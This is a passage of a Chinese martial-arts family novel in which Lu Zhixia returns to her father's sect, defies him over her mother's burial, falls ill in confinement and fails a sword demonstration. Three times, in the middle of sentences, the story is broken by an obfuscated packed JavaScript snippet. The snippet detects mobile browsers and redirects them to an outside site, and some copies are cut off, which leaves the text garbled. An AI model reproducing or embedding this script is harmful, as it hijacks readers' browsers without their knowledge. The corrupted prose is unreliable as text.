透过帘子缝隙,小玉看到外边尽是手持长剑、高大严肃的白衣弟子,气氛压抑,她胆怯不敢下去。陆知夏神色淡定,拉着迟疑的小玉下车,一同朝大门走去。 两个少女个子不高又皆着丧服,在白衣弟子中走过也不显眼。 陆知夏瞥见阶上正和颜悦色说话的父子,心像被人划了一刀,忽然转身往回走。 “小姐?”小玉不明所以,但也跟着陆知夏回头。 “知夏。” 身后传来一声威严厉喝,陆知夏立时停住脚步,眼眶慢慢泛红。这一声久违的呼唤,她等了整整七年。 陆知夏深吸一口气,转身朝阶上威严身影温声唤道:“爹。” 陆掌门沉着脸,厉声道:“回来也不知道先过来给长辈行礼,从前教你的礼数都抛到脑后了?” 闻言,陆知夏本能握拳。明明跟当年一样严厉的语气,为何如今听来却让她如此不爽? 陆知夏压下心中不快,上前跪拜叩首,“女儿知夏拜见爹爹。” “拜见陆掌门。”小玉也跟着下拜行礼,整个人紧张拘谨。 陆掌门神色稍微缓和几分,淡淡道:“起来吧。” 陆知夏起身抬头时,陆掌门已携陆子辰往门内走去。陆知夏一怔,爹竟忘了把娘接进门? “爹。”陆知夏正要追问,李暮赶紧拉住她,说道:“墓园那边已准备妥当,师父吩咐即刻将师娘下葬,你也跟着去吧。” 闻言,陆知夏睁大双眼,心跳随呼吸加快。她娘好歹是云苍派主母,亡灵回山居然连门也不让进就着急入土,这未免也太轻率了吧! 眼见母亲的棺材就要被人抬起,陆知夏再也压不住火气,冲过去拦住抬棺的人,大声道:“回头,把我娘抬进门去。” “这……”抬棺的弟子不知所措地立在原地。 李暮上前劝道:“知夏别这样,不然师父会不高兴。” 陆知夏甩开他的手,大声道:“我娘是云苍派主母,死了也是,怎可草草下葬?他高不高兴关我屁事,我只要他礼数周全地为我娘办后事,这有错吗?” 一名抬棺的弟子道:“二小姐,掌门的命令我们不敢违抗,求你别难为我们几个。” 陆知夏苦笑,“好,我不为难你们。你们把棺材放下,我自己带我娘进门。” 言罢,白衣少女冲向棺材。弟子们上前阻拦,场面一时混乱。陆知夏伺机拔出一名弟子的剑,斩断拴着棺材的绳子。 沉重的棺材“砰”一声重重落在地上,惊动大门前所有人,也清晰传入门中。 “二小姐,使不得呀。”弟子们紧张上前,想阻止扒拉棺材的白衣少女,碍于身份又不敢动粗,一时进退两难。 门外动静越闹越大,未走远的陆家父子即刻回头,一出门便看到扒着陆夫人棺材盖的陆知夏。 陆掌门倒吸一口凉气,浑身颤抖不已,指着快要开棺的陆知夏喝道:“不孝女,还不快住手!” 陆知夏抬头望向阶上暴怒的父亲,愤愤道:“你不让弟子迎我娘进门,我就自己把她背进去!”言罢,小手使劲挪动棺盖,就差一点就成功开棺。 陆掌门指着旁边几个发愣的弟子,厉喝道:“你们愣着做什么,赶快把她拿下。” 得令,五六个弟子上前将陆知夏从棺材盖上扒下来,押到陆掌门面前听候发落。 闹剧平息,陆掌门命弟子即刻将陆夫人的棺材抬往后山,拂袖转身,头也不回地往门里走去。 “不要把我娘带走,把她还给我……”陆知夏被押回门中,眼睁睁看着母亲的棺材远去,无能为力地流泪,“我错了,我真的错了。” 旁人以为她在为方才的失态道歉,但只有她自己清楚,她悔的是不该回来。 这次,她又赌输了…… * 厅中,陆掌门绕着跪在地上神情桀骜的少女走了一圈,难以置信道:“你们确定没找错人?她真的是知夏?” 陆知夏顿觉可笑,作父亲的竟连自己的亲生女儿也不认得?只怕是得了新人,早忘了旧人罢。 李暮道:“师父,她确实是知夏。这些年我偶尔去探望师娘母女,绝不会认错人。” 陆掌门仍有疑虑,望向一旁的陆子辰。 “爹放心,我已同莫宅附近的街坊邻居核实过她的身份,不会有错。”陆子辰道。 有二人担保,陆掌门却疑惑更深,抚须长叹:“当年乖巧懂事的知夏怎会变成如今这般蛮横?撒泼起来跟个野丫头似的。” “野丫头?我变成这样还不是拜您所赐!”陆知夏仍怨恨父亲今日所为,言辞犀利。若不是她手脚被捆着,定要冲上去薅光他那看不顺眼的整齐长须。 “放肆!”头一回被晚辈顶撞,陆掌门面色一沉,厉声道:“这些年你娘到底是如何管教你的?竟连自己的生父也敢顶撞,没大没小,真是太令我失望了。” 陆知夏大声道:“到底谁对谁失望?这些年您尽过一点做父亲的责任吗?您又知道这些年我和娘是怎么过的吗?”话到最后,她情绪失控哽咽道:“我倒是希望有人来管教我,可娘她整日喝得烂醉,这些年清醒的时日加起来不足几月,哪有心力顾我?就连洗衣做饭这种小事都要我亲力亲为,如今我能活着回来见您已经很不容易……” “你这是在数落我?”陆掌门道:“当初是你娘一意孤行要下山,我有什么办法?” 陆知夏瞪了一眼陆子辰,咕哝道:“当年若不是你接一些莫名其妙的人回来,我们一家又怎会离散?” 习武之人耳力好,这话周围人都清楚听到。 陆掌门指着陆子辰道:“姜氏是你姨娘,这位是你同父异母的大哥,他们都是你的家人。哪来什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083117|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名其妙之人?” 陆知夏撇撇嘴,“我的家人只有爹和娘,其他人都是多余的!” “你……”陆掌门以手抚额。如今这丫头牙尖嘴利、蛮横无理,令他头疼不已。左思右想,他非得挫一挫她的锐气不可! 陆掌门当即唤来两名执法堂弟子将陆知夏拖下去,关到后山静思洞思过。 “师父息怒。”李暮跪下替陆知夏求情,“知夏刚回来还不适应,日后严加管教便可,无需关去那种暗无天日的地方受苦。” 陆知夏也有些害怕,面上却镇定道:“既然我这么让你失望,不如放我回云炀,日后彼此眼不见心不烦,岂不更好?” 陆掌门眉头紧皱,他一派掌门做事何时轮到两个小辈指指点点,厉声道:“废话少说,把她拖下去!” “我不去,你们放开我!”陆知夏挣扎无用,被两名身强力壮的执法堂弟子拖走。 厅上很快恢复平静,陆掌门也松了口气,感叹道:“真是家门不幸啊~” * 静思洞是容触犯门规的弟子面壁思过的地方,在后山一处深不可测的溶洞中。 洞里光线昏暗,大白天四处燃着火把。陆知夏被两名执法堂弟子推进一处漆黑的洞室里,身后铁门重重关上并落了锁。 眼前一片漆黑,伸手不见五指,强烈的不安和恐惧瞬间涌上陆知夏心头。她像盲人一般抬起双手,慢慢在黑暗中摸索前行。 陆知夏磕磕绊绊在洞室里走了一圈,很快摸清自己的处境。这间洞室狭小,左右不过五步宽,除了一张石床,别的什么也没有。她叹了口气,想不到自己刚回山便被无情的父亲关到这暗无天日的地方思过。 但她仍想不通自己究竟做错了什么? “早知如此,打死我也不回来。”陆知夏抱膝坐在石床上,浑身冷得直发抖。天寒地冻的,丧服下她穿的还是单薄的旧袄裙,她不知这样下去自己能撑多久。 想到母亲潦草的后事和自己眼下的处境,陆知夏悲从中来,蜷缩在角落小声哭泣。她觉得从前的自己很傻,成天盼着回来,可这个家早就变了,多余的人是她们母女…… 困在黑暗中的时光漫长难熬,陆知夏哭累了躺下,但石床又冷又硬,加上心情烦闷,她根本无法入睡。 不久,外头的锁打开,送饭的弟子提着灯笼推门进来,另一名弟子抱进来一床棉被和软枕。二人放下手里的东西,留下灯笼离开,没有多说半个字。 铁门上锁后,洞室里安静下来。陆知夏微微睁眼,看到火光便手脚并用地爬过去。 寒冷的冬夜里,微弱的灯火给陆知夏带来一丝希望。她将冰凉的小手放在灯笼上,淡淡的温暖慢慢驱散她心头阴霾。 肚子咕咕叫起来。 手暖和一些,陆知夏将灯笼旁的食盒打开,里面三菜一汤仍冒着热气。 没想到在这暗无天日的地方还能吃口热食,陆知夏拿起筷子大口吃了起来。想起小玉,陆知夏又开始担忧,希望她没受牵连。 饭后陆知夏在洞室里踱步,回想今日之事忧虑重重。父亲不肯放她下山或许是怕日后她闯祸丢陆家的脸,但不知要关她多久。 陆知夏此刻才后悔当时没有控制住脾气,万一父亲盛怒下罚她在这儿思过一辈子就惨了!她可不想在这暗无天日的地方如鼠蚁一般苟活,即便是死,她也要离开这儿! 夜渐深,李暮抱着一床厚厚的锦被来到静思洞外。但没有掌门给的令牌任何人不得擅入,他只好委托值守的弟子将被子送进去。 一名弟子推拒,好意提醒道:“师兄请回吧,大师兄已命我等关照过二小姐。” 李暮一怔,悬着的心也缓缓落下。他抱着被子离开,似有所悟地微笑摇头。 洞室中寒气逼人,陆知夏宁愿缩在墙角发抖,也不碰那床看起来厚实软和的棉被。一想到有可能被关一辈子她就害怕,与其活受罪,不如冻死梦中一了百了。 “阿嚏~”陆知夏连打几个喷嚏,靠着墙昏昏欲睡。 烛火燃尽,洞室里又陷入无边黑暗。 5. 急病 清晨,云苍山再度飘雪。 云朝阁书房中,陆掌门正同陆子辰及几位执事议事,总管陆乾匆匆来报。早晨送饭的弟子发现陆知夏高烧昏迷,情况危急。 陆掌门颇感头疼,这个野丫头思过也不让他省心。他将一块令牌扔给陆乾,命他找王大夫过去给陆知夏诊治,继续若无其事与众人议事。 陆子辰看了一眼窗外落雪,说道:“爹,静思洞冬日寒如冰窖,那丫头又病得不轻,万一刚回来就病死洞中,传出去恐怕会给陆家和门派招来闲话。” 一名执事道:“大少爷所言极是,夫人的死已给您惹来不少闲话,若二小姐再有个三长两短……” 陆掌门后悔当初把这么个麻烦招回来,如今他是进退两难。 思忖片刻,陆掌门叹息道:“罢了,把她接出来安置在云岚院,日后让她自生自灭吧。” 众人离去后,陆掌门靠在椅背上揉额角,神情郁闷愁苦。陆乾上前为他奉茶,恭敬道:“二小姐久居市井,难免沾染恶习,日后调教一番便好,掌门不必如此苦恼。” 回想陆知夏回来后的种种放肆言行,陆掌门长长叹了口气,“她这般蛮横,恐怕调教不易。” 陆乾道:“二小姐已及笄,掌门若是不喜,可尽快寻户好人家把她嫁了。既可摆脱烦恼,也不落人口实。” 闻言,陆掌门豁然开朗。这个女儿虽然性子野,但模样标志,稍微打扮一下定是个可人儿,说不定能用她掉到一个金龟婿,也不枉养她几年。 抱定主意,陆掌门开始盘算其他事,渐渐没这么厌恶这个女儿了。 * 后山白雪皑皑,值守的弟子在静思洞外除雪,远远看到三个人影朝这边匆匆走来。 弟子们扔下扫帚,向疾步而来的挺拔身影抱拳行礼,“大师兄。” 陆子辰脚步不停,亮出令牌直接带人进洞。 溶洞里寒气深重,宛如一座冰窖,跟来的两名弟子瑟瑟发抖。 守卫将三人领到一处洞室外。铁门开启后,陆子辰抢先进去。借着昏黄火光看到石床上的少女缩成一团,脸颊红扑扑的,昏迷中浑身还不停发抖。 “陆知夏。”陆子辰唤了一声,少女没有任何反应,额头触手如炭火一般滚烫。 昏暗中,清冷的眸子不复镇定,抱起少女便冲出门去。 弟子们刚找来担架便见陆子辰风一般从他们身边掠过,疾步朝洞口奔去,留下他们不知所措立在原地。 石洞外飘着细雪,陆子辰提起真气,足尖轻点便往风雪中跃去。细密的雪花被无形的真气阻隔在外,挺拔身影冲破风雪,疾速往门中赶去。 * 今日的雪越下越大,不到一日云苍山再度覆上一层厚厚积雪。 夜幕降临,半山腰数座恢弘建筑灯火初上,门中处处明亮如昼。 后院一处空置已久的偏僻小院眼下也亮着火光,四周宁静,隐隐有哭声从里边传来。 空荡的卧房里三个火盆烧得正旺,小玉泪眼婆娑地守在床前,不停给高烧昏迷的陆知夏更换额上的湿帕子。从早上到现在,清水已接连换了十多盆。 从前陆知夏很少生病,即便卧床不起也是因为打架受伤,不会如眼下这般毫无知觉。小玉十分担忧,片刻也不敢离开。 虽然陆知夏只是感染风寒,但之前她操劳过度,加上伤势未愈,一病便不可收拾。大夫说今日若再晚半个时辰救治,便是华佗在世也救不回她的小命。 小玉抹了把眼泪,再次替陆知夏更换帕子,顺手探了探她额头温度。服了大夫开的药,陆知夏体温渐渐回落,额头不似早上那般烫手吓人,但人仍未苏醒。 房门开了,一名面容慈祥的老嬷嬷捧着一身干净衣裳走进来,说道:“晚上我来照顾小姐,你下去吃点东西休息吧。” 老嬷嬷看着和蔼,声音却透着一丝威严。 小玉胆小,初来乍到不敢忤逆云苍派的人,听话退了出去。但她不放心,悄悄跑到窗台下偷看,直到确认老嬷嬷在用心照料陆知夏才松了口气。 老嬷嬷姓桂,据说曾是陆夫人的奶娘,同幼时的陆知夏也亲近。小玉抱着膝盖坐在窗台下发呆,今日桂嬷嬷带她来这处云岚院,说以后这里便是她们的家。 雪中安静的小院虽没有别处宽敞奢华,但房舍够住,还有独立的厨房,比起年久失修的莫宅已好许多,至少不用担心漏风漏雨。日后再稍微收拾布置一番,必定是个温馨的小窝。 小玉双手合十,对着落雪默默许愿。希望她的小姐早日康复,与家人关系缓和,不再受任何委屈伤害…… * 屋里,桂嬷嬷掀开被子替陆知夏更衣。 转眼七年过去,当年的小丫头已变成了大姑娘。桂嬷嬷脱下陆知夏满是补丁的袄裙,看到她四肢还未消散的淤青眼眶湿润。当年夫人一气之下带着女儿下山,身无分文又无人接济的她日子怎会好过? 桂嬷嬷不敢想这对可怜的母女这七年是如何挺过来的。 刚给陆知夏换好衣服便有人敲门,桂嬷嬷将被子掖好,起身去开门。 陆家父子立在门外,桂嬷嬷面上一喜,欠身行礼:“掌门、大少爷。” 陆掌门道:“丫头的烧退了吗?” “退了许多,但人还未醒。”老嬷嬷侧身让二人进屋。 床上的少女静静躺着,陆掌门上前探了探她的额头,叹息道:“这孩子,真是片刻也不让我省心。今日多亏子辰及时带她就医,否则她就跟她娘一块埋后山了。” 陆子辰道:“事关爹和门派声誉,子辰不敢怠慢。” 闻言,陆掌门稍感欣慰。儿子懂事孝顺,时常主动替他分忧,这些年省了他不少心。可惜这个女儿…… 陆掌门叹了口气,神态略显疲惫,拍了拍儿子肩膀,说道:“子辰,长兄如父,往后也有劳你替我多管教这个丫头,别让她再生事。” “爹放心。”陆子辰平静应道。 陆家父子离开前,陆掌门交代桂嬷嬷看好陆知夏,日后不许她随意外出。 桂嬷嬷送父子二人出门。窗台下的瘦弱身影悄悄离开。方才陆掌门的话小玉听得一清二楚,不由对陆知夏心生同情。这里既是她的家,也将是囚住她的一座精致牢笼。 * 大雪断断续续下了五日终于放晴,午后暖阳也罕见露脸。 陆知夏大病初愈跑到院子里和小玉堆雪人,眼睛却不时瞟向紧闭的院门。 “小姐今日想吃什么?我给你做。”桂嬷嬷从厨房里探出头,一眼便看到偷偷摸摸走到院门前的陆知夏。即刻上前劝阻,拉她回房。 桂嬷嬷好言道:“小姐,你大病初愈身子弱,得在屋里将养着。再说,掌门不让你随意出门,你若偷跑出去,回头他又要罚你。” 陆知夏撇撇嘴,“门都不让出,这和坐牢有何区别?” 桂嬷嬷安慰她几句,温声道:“只要你不胡闹,你想吃什么桂嬷嬷都给你做。” 陆知夏点名要吃桂嬷嬷最拿手的菜,松鼠桂鱼。时隔多年,那酸甜酥脆的美味佳肴,光是想想便让她垂涎三尺。 “小姐还和小时候一样馋。”桂嬷嬷摸摸陆知夏的头,笑得格外慈祥。 * 午后,陆子辰带着两名天依阁的女侍过来给陆知夏量体裁衣。 陆知夏正在屋里睡午觉,小玉进屋叫醒她。 听到冤家来了,陆知夏拉起被子蒙头睡。小玉无奈,只好去找桂嬷嬷。可还未出门,陆子辰就带人进屋了。 陆子辰走到床前,对着蒙头缩成一团的人说道:“听说你想出门,若是积极配合,兴许我还有时间带你出去。” 陆知夏伸出脑袋质疑道:“你有这个权利?不会是在诓我吧。” 陆子辰道:“我能带人进来便能带你出去,前提是你必须老实听话。” 陆知夏思忖片刻,同意配合。 两名女侍留下,陆子辰到外边等候。 一名女侍为陆知夏量尺寸,一名女侍详细记录,她们将陆知夏从头到脚量了一遍,满满记了几页纸,数据详尽专业。陆知夏感慨,她已多少年没享受过这种专业制衣服务了。 与二女闲聊中,陆知夏得知父亲这次花了重金为她置办行头。她想,难道这次急病令父亲良心发现,此后要善待于她? 陆知夏觉得不大可能,但暂时也想不出其他理由。心底那份失落不觉少了几分。 量完尺寸,小玉送两名女侍离开。 陆知夏伸着懒腰从卧房出来,左右不见陆子辰人影,她以为自己又被诓了,匆忙四处寻人。脚下走得急,她刚跨进小厅便被长裙绊倒,摔了个狗啃屎。 陆子辰端坐在厅上喝茶,转头淡淡道:“进门就行此大礼,我可受不起。” 陆知夏从地上爬起来,拍了拍身上尘土,没好气道:“想得美,我是不小心被裙子绊倒的。” 陆知夏带回来的旧衣裳都被桂嬷嬷扔了,说是太破穿出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083118|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被父亲看到会惹他不高兴。眼下她穿的是桂嬷嬷用母亲年轻时的衣裳改的,尺寸微大但起来没那么寒碜。 陆知夏整理好衣裙,陆子辰放下茶盏起身,“走吧,带你去熟悉环境。” 陆知夏将信将疑跟上他的脚步。 平日云岚院大门紧闭,门外原来还有两名弟子守着。陆知夏随陆子辰出门,果然无人阻拦。 看着前边从容淡定的身影,陆知夏不由心生嫉妒。三十年河东,三十年河西,如今的陆子辰在门中混得极好,不但是父亲跟前的宠儿,又是手握大权不好惹的首席大弟子,而她……永远是个无法出头的陆老二。 人比人,气死人。陆知夏垂头叹气。 * 有了被关静思洞的教训,陆知夏言行谨慎许多。陆子辰本就沉默寡言,二人路上毫无交流。 在门中上下走了一圈,陆知夏发现门中陈设布置焕然一新,还添了几座新楼宇,整体布局虽与从前相差不大,但看起来却有股陌生感。 加上这些年门中扩招弟子,一路上遇到的都是生面孔,陆知夏有种客来他乡的拘谨感。 路上遇到的弟子虽然统一着弟子白袍,但精神面貌却不比以往。大多白白净净,嬉皮笑脸,如同云炀城里那些游手好闲的贵公子,没有半点端正勤学的样。陆知夏纳闷,如今云苍派招收弟子的标准已经这么低了吗? 一路走来,陆知夏心里虽有诸多疑问,但也不敢发问。还没摸清如今陆子辰的脾气,万一惹恼他吃亏的还是她。 回过神,陆知夏发现他们正向大门走去,疑惑道:“你要带我去哪?” 陆子辰不语。 陆知夏犹豫片刻,提着裙子小跑跟上去。 * 后山墓园冬日也是一片白茫,气氛肃杀凄冷。 陆知夏没想到陆子辰还怪好心,她还没想好怎么开口他就主动带她来看望母亲。早知如此,她就准备些贡品香烛一并带来。 二人走进墓园来到一座新砌好的墓前,陆知夏看着墓碑上的字眼眶酸涩,扑通一声跪下。 当日一派主母灵柩回山,连门也不让进就这么仓促下葬,如今除了陆知夏,门中又有谁在意这桩不公平的丧事? “娘,至少我们回云苍了,您安息吧……”纤手拂去墓碑上的积雪,另一只手收紧,五指深深陷进雪里,陆知夏凝着泪水的眼中充斥着恨意。这些日子她憋着太多委屈,但有些话当着陆子辰的面又不便说,只能望着墓碑无声诉苦。 “快下雪了,我们走吧。”陆子辰看着变暗的天色催促道。 陆知夏恭敬朝母亲冰冷的墓碑磕了三个响头,最后却久久不愿起身。那个冰冷无爱的家她一刻也不想待,真想拔腿就跑。 陆子辰上前朝地上的少女伸出手,“腿麻了?要我扶你?” 陆知夏冷哼一声,自己站起来大步往回走。陆子辰放下手,看着那道头也不回的纤细身影摇头。 路上,陆知夏几次想逃,但陆子辰跟得很紧。她也清楚下山之路机关暗哨遍布,若无陆掌门许可,她还没到山脚便会被抓回来。事已至此,她只能接受现实乖乖回到门中。 陆子辰亲自将陆知夏送回云岚院。 兄妹二人和平共处一日,他觉得陆知夏性子虽野,但并非不识时务之人,顿时放心不少。 天色已晚,陆子辰正要离开忽然被陆知夏叫住。 陆知夏支吾道:“日后,我可不可以跟爹继续练剑?” 陆子辰回头看着大病初愈脸色尚且苍白的少女,难得和颜悦色地说道:“你身子刚好,大夫说还得悉心调养一段时日,这事以后再说吧。” 望着那道远去的挺拔背影,陆知夏叉腰道:“假惺惺,还真把自己当我大哥啦,谁稀罕!” 话音一字不落传入陆子辰耳中,长眉微皱。还以为她能憋一日,没想到最后还是原形毕露。小野猫安静必定憋着坏,他还是不得不防。 当晚,陆家父子在书房议事后,陆子辰随口提起陆知夏想继续练剑之事。陆掌门沉思片刻,说道:“给她找点事做也好。练剑能磨练心性,没准能收敛她那蛮横的性子。” 陆子辰道:“只怕她习武动机不纯。” 陆掌门不以为意道:“她想练就让她练,短期内她也成不了高手,待她身子好些就由她去吧。” 既然陆掌门不反对,陆子辰也无话可说。但他总觉得近来这对父女对彼此的态度转变得有些快,不知各自在打什么算盘。 6. 献丑 两个月过去,天气已回暖。云苍山冰雪消融,万物焕发生机。 夜里,陆知夏对着铜镜试穿刚送来的崭新弟子服,拿着剑摆出几个英姿飒爽的造型问小玉:“如何?有没有几分侠女风范?” 小玉道:“小姐为人仗义,本来就是侠女。” 陆知夏伸手刮了刮小玉秀鼻,笑道:“我们家小玉就是嘴甜。” 桂嬷嬷端来刚做好的栗子酥,陆知夏随手将剑一搁同小玉津津有味地品尝起来。桂嬷嬷慈爱地轻抚两个丫头,盼望她们茁壮成长。 过去两个月,陆知夏病情反复。直到陆掌门让王大夫在她身上费了不少珍贵药材和补品才调理好。如今陆知夏身体已无大碍,面色也红润不少。 深夜,陆知夏兴奋得睡不着。明日便能出门练剑,往后她定要勤学苦练将自己变强,绝不能让那对父子小瞧。 陆知夏忽然感慨,小时候学武是为了成为如父亲那般正气凛然的大侠,而今竟是为了争一口气,实在有些可笑。 即便如此,唯有变强,她在门中才有说话的资格。 * 翌日。 陆知夏早起洗漱换好衣服,小玉用白色发带给她束发,整个人收拾得清爽利落。 时辰不早,陆知夏提剑出门,这时才想起昨日竟忘了拭剑。不过她看剑鞘还新,便没把这事放在心上。 院门大开,陆子辰已在门外等候,陆知夏不敢耽搁,匆匆出门。 陆子辰今日着一身黑色窄袖长衫,血玉黑革发冠束着长发,远远看去就比普通白衣弟子惹眼。 冤家兄妹相见皆是一副冷若冰霜的模样,彼此不说话,一前一后往后山走去。 后山空气清新,春意盎然,陆知夏重获自由心情愉悦,不自觉哼起小曲。 陆子辰回头瞥了一眼活力十足的少女,目光落在她摆弄的剑上。剑鞘蒙尘,剑穗黯淡,一看便知主人这些年没有好好保养。 陆子辰道:“你那把剑搁了七年还能用?” 陆知夏举起手里的剑,得意道:“这可不是普通的剑,是六岁时爹送我的宝剑,据说是名剑山庄庄主用陨铁所铸。剑鞘虽沾了灰,擦干净就行,怎么不能用?” 陆子辰抬了抬手里青色宝剑,淡淡道:“别怪我没提醒你,我这把青璃与你的白璃是同一块陨铁所铸,但隔年不保养照样会锈,你的恐怕……” 陆知夏抱剑没好气道:“你那把说不定是用边角料做的,少拿次品来和我的宝剑相提并论。” 陆子辰懒得同她废话,回身继续往前走。 从门中行至后山,路上一片清静,不见几个弟子,陆知夏好奇道:“以往这个时辰弟子们都在练功,如今为何这般安静?” 陆子辰淡淡道:“这不是你该关心的。等会儿要比划,有空还是多回忆剑招吧。” 经他提醒,陆知夏不由紧张。当年她与母亲匆匆下山,白璃也忘了带。下山后她又整日忙于生活琐事,无暇温习剑招,早把父亲教的招式忘得差不多了。 陆知夏挠头发愁,一会儿只能随机应变了。 * 竹林深处传来刀剑声,已经有人先到一步在练剑了。 兄妹二人沿着石径走到头,林中一块开阔空地上,四个高矮不一的白衣弟子正在练剑。除了曾经的大师兄李暮,其余三人陆知夏均未见过,应是陆掌门近些年新收的亲传弟子。 “大……二师兄。”陆知夏兴奋跑向正在拭剑的李暮。她还是不适应如今的排名,险些当着陆子辰的面叫错。 李暮抬眼看着面前杏眸含笑的白衣少女,微笑道:“知夏,你怎么来了?” 陆知夏抬剑比划几下,笑道:“自然是来同你们一起练剑啊。” 闻言,其他人好奇凑过来打量陆知夏。 陆子辰看了一眼陆知夏,提醒道:“自己向大家介绍,难不成还等我?” 陆知夏暗暗翻了个白眼,清了清嗓子准备自我介绍。 “你就是那个一回来就扒夫人棺材,惹师父发怒被关静思洞的二小姐吧?”一名矮陆知夏半截头的少年抢先道。 陆知夏秀眉一皱,仰着下巴看着少年,没好气道:“我不介意你把前边一长串前缀去掉只尊称我二小姐。” 少年低下头,旁人也不敢吭声,气氛一时有些尴尬。 李暮微笑上前,为弟子们引荐道:“这是知夏,师父和师娘的掌上明珠,你们可以叫她二小姐或知夏。” 陆知夏感激地看了一眼李暮,还是二师兄最疼她,第一时间替她解围。不像某些人,身为大哥却把她晾在一边。 李暮又依次给陆知夏介绍三名新弟子。 方才惹陆知夏不快的清秀少年叫柳玄,年方十二,根骨奇佳,是陆掌门新收的五弟子。 旁边一名模样周正、斯文秀气的男子叫赵钧,是刑部赵大人的次子,比陆知夏大三岁,是陆掌门新收的四弟子。 最后一名笑容甜美娇憨的单眼皮姑娘叫江宛若,比陆知夏大两岁,是陆掌门故去旧友江大侠的独女。其母重病离世前将她托付给云苍派,陆掌门见她天资不错便收为座下三弟子。 双方认识后,陆知夏突然发现一个重要的问题,指着自己问李暮,“那我呢?我排老几?怎么被挤出去了?” 陆子辰道:“三年前门中扩招,比试大会后师父重新按弟子实力排名,你缺席自然没你的份。” 陆知夏颇为不满,“我为何缺席爹会不知道?再说当时也没人上门通知我呀,否则我定然连夜赶回来争个名次。” “现在也不晚。” 身后传来陆掌门威严的声音。 “拜见师父。”众弟子朝走来的魁梧长者抱拳行礼。 陆掌门缓步上前,低头看着不服气的少女,“如今你觉得自己能排第几?” “我……”陆知夏没见过新弟子的身手,论实力排名她心里没底。 陆掌门看到陆知夏带了剑,说道:“许久未见你使白璃,不妨先耍几招让我们看看。” 陆知夏汗颜,小声道:“要不,还是改天私下看吧。” 陆掌门道:“在场都是同门,有什么不好意思的?而且方才你不是还想要排名吗?” 陆知夏八岁便能流畅使出云苍剑诀前五式,即便内功跟不上,陆掌门对她的剑法也有信心。 众人的目光都落在陆知夏身上,如今她是骑虎难下。 “那就……献丑了。” 话音刚落,陆知夏屏息凝神拔剑。 忽然,画面犹如定格一般,除了她的眉头和手在动,整个人立在原地纹丝不动。 陆知夏想在众人面前帅气拔剑的念头破碎,因为白璃好像真的拔不出来…… 旁人很快察觉不对劲,陆掌门也渐渐皱起眉头。 陆知夏紧张得手心直冒汗,微笑着掩饰当下窘境,双手却仍在暗暗使劲拔剑。无奈剑身被鞘吃得太紧,任她如何拔也纹丝不动。 江宛若啧啧摇头,“这剑该不会太久没用锈住了吧?” “怎么会。”被人点破陆知夏也不敢承认,否则日后又成别人笑柄。 陆知夏瞥见江宛若手里轻薄的长剑,灵机一动,淡定将白璃搁下,说道:“这剑如今不称手,还是借你的用吧。” “接着。”江宛若慷慨拔出自己的配剑扔过去。 陆知夏险险接住,暗暗松了口气。长剑在握,她飞快回忆剑招,有模有样地摆起架势。 众人来了兴致,迫不及待等她开始。 云苍剑法讲究的是快中多变,前面一招基础剑法陆知夏舞得倒有模有样,陆掌门捋须微笑。 但从第二式白云出岫开始,陆知夏出剑变慢,脚步也开始凌乱,显然已记不清招式。 陆知夏脑子一片空白,剑招使得越来越慢,最后竟如推太极一般。 柳玄和江宛若低头憋笑。 陆掌门面色难看,即刻喝止陆知夏。她这个水平跟那些偷奸耍滑、不学无术的外门弟子有何不同? 陆掌门无法容忍座下有这般不成器的弟子,即便是自己女儿也不行! 弟子们忽然惊呼,陆掌门察觉有暗器朝自己袭来,抬剑精准挡下一把轻薄长剑,朝手里空空的陆知夏大喝道:“混账,你要弑父不成?” 陆知夏慌张摇手,“我,我不是有意的,只是一时没拿稳……” 见状,除了陆子辰,其余人忍不住笑出声。 陆掌门面子挂不住,咆哮道:“子辰,快把她带走,以后不许她再练剑。” “为什么?”陆知夏一脸不甘。 陆掌门道:“你没点自知之明吗?你不是练武的料,还是待在闺中学学礼仪女红吧。” 陆知夏撇嘴,小时候父亲可不是这么说她的。难道荒废几年真就无法从头习武? 事已至此,后悔无用。 陆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浴佛节后,在山下庵堂吃斋念佛数月的姜氏才回到门中,陆掌门设宴为她接风洗尘。 厅上一家三口其乐融融,互相诉说彼此近况。 姜氏保养得当,年近四十仍肤如凝脂,美艳端方,常被新来的弟子误认为主母。对此,陆掌门从未出言纠正。但姜氏一直恪守妾室本分,回山多年,即便主母不在门中也未与掌门同居。她与儿子单独住在别院,要么种花养草,要么下山吃斋念佛,门中事务概不过问,就连陆掌门邀她外出赴宴也谢绝。 姜氏清淡的性子非但没令陆掌门厌倦,反倒对她愈发宠爱。每次她外出归来,即便事务缠身陆掌门也要过来陪她,二人恩爱如结发夫妻。 宴后,一家三口坐在院中亭子小坐喝茶。 听闻陆夫人死讯,姜氏唏嘘不已,“好不容易熬到儿女们长大成人,姐姐却在本该享受天伦之乐时撒手人寰,实在可惜。” 陆掌门道:“她性子倔,又嗜酒成性,走到这一步皆是咎由自取。” 